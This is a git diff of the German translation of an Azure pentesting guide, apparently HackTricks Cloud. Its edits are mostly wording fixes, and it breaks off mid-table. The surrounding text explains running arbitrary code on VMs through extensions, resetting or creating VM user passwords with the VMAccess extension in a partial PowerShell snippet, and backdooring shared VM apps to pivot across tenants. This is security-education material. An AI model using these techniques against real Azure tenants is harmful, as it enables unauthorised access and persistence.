Bilder können im **Bilder-Bereich** von Azure oder in **Azure-Compute-Galerien** verwaltet werden, die es ermöglichen, **Versionen** zu erstellen und das Image tenantübergreifend zu **teilen** oder sogar öffentlich zu machen.
-Ein **Wiederherstellungspunkt** speichert die VM-Konfiguration und **zeitpunktbezogene** anwendungskonsistente **Snapshots aller verwalteten Festplatten**, die an die VM angeschlossen sind. Er ist mit der VM verbunden und hat den Zweck, diese VM auf den Zustand zurückzusetzen, in dem sie sich zu diesem spezifischen Zeitpunkt befand.
+Ein **Wiederherstellungspunkt** speichert die VM-Konfiguration und **zeitpunktbezogene** anwendungs-konsistente **Snapshots aller verwalteten Festplatten**, die an die VM angeschlossen sind. Er ist mit der VM verbunden und hat den Zweck, diese VM auf den Zustand zu bringen, in dem sie zu diesem spezifischen Zeitpunkt war.
{{#tabs}}
{{#tab name="az cli"}}
@@ -144,15 +144,15 @@ Get-AzRestorePointCollection -Name -ResourceGroupName -ResourceGroupName
Azure VM-Erweiterungen sind kleine Anwendungen, die **Konfiguration nach der Bereitstellung** und Automatisierungsaufgaben auf Azure-virtuellen Maschinen (VMs) bereitstellen.
-Dies würde es ermöglichen, **willkürlichen Code innerhalb von VMs auszuführen**.
+Dies würde es ermöglichen, **beliebigen Code innerhalb von VMs auszuführen**.
Die erforderliche Berechtigung ist **`Microsoft.Compute/virtualMachines/extensions/write`**.
@@ -539,7 +539,7 @@ Die erforderliche Berechtigung ist weiterhin **`Microsoft.Compute/virtualMachine
VMAccess-Erweiterung
-Diese Erweiterung ermöglicht es, das Passwort (oder zu erstellen, wenn es nicht existiert) von Benutzern innerhalb von Windows-VMs zu ändern.
+Diese Erweiterung ermöglicht es, das Passwort (oder zu erstellen, wenn es nicht existiert) von Benutzern in Windows-VMs zu ändern.
```powershell
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
@@ -627,7 +627,7 @@ Dies sind die Pfade, wo die Anwendungen im Dateisystem heruntergeladen werden:
> [!CAUTION]
> Es ist möglich, **einzelne Apps und Galerien mit anderen Abonnements oder Mandanten zu teilen**. Was sehr interessant ist, da es einem Angreifer ermöglichen könnte, eine Anwendung zu hintertüren und zu anderen Abonnements und Mandanten zu pivotieren.
-Aber es **gibt keinen "Marktplatz" für VM-Apps** wie es ihn für Erweiterungen gibt.
+Aber es **gibt keinen "Marktplatz" für VM-Apps**, wie es ihn für Erweiterungen gibt.
Die erforderlichen Berechtigungen sind:
@@ -721,11 +721,11 @@ az vm application set \
### Benutzerdaten
-Dies sind **persistente Daten**, die jederzeit über den Metadaten-Endpunkt abgerufen werden können. Beachten Sie, dass in Azure Benutzerdaten sich von AWS und GCP unterscheiden, da **wenn Sie hier ein Skript platzieren, es standardmäßig nicht ausgeführt wird**.
+Dies sind **persistente Daten**, die jederzeit vom Metadaten-Endpunkt abgerufen werden können. Beachten Sie, dass in Azure Benutzerdaten sich von AWS und GCP unterscheiden, da **wenn Sie hier ein Skript platzieren, es standardmäßig nicht ausgeführt wird**.
### Benutzerspezifische Daten
-Es ist möglich, einige Daten an die VM zu übergeben, die an den erwarteten Pfaden gespeichert werden:
+Es ist möglich, einige Daten an die VM zu übergeben, die an erwarteten Pfaden gespeichert werden:
- In **Windows** werden benutzerspezifische Daten in `%SYSTEMDRIVE%\AzureData\CustomData.bin` als Binärdatei abgelegt und nicht verarbeitet.
- In **Linux** wurden sie in `/var/lib/waagent/ovf-env.xml` gespeichert und jetzt werden sie in `/var/lib/waagent/CustomData/ovf-env.xml` gespeichert.
diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md
index 000a0d1d9..ea863f835 100644
--- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md
+++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md
@@ -11,7 +11,7 @@ Sie können die API direkt abfragen oder die PowerShell-Bibliothek [**AADInterna
| API | Informationen | AADInternals-Funktion |
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
-| login.microsoftonline.com/\/.well-known/openid-configuration | **Anmeldeinformationen**, einschließlich Tenant-ID | `Get-AADIntTenantID -Domain ` |
+| login.microsoftonline.com/\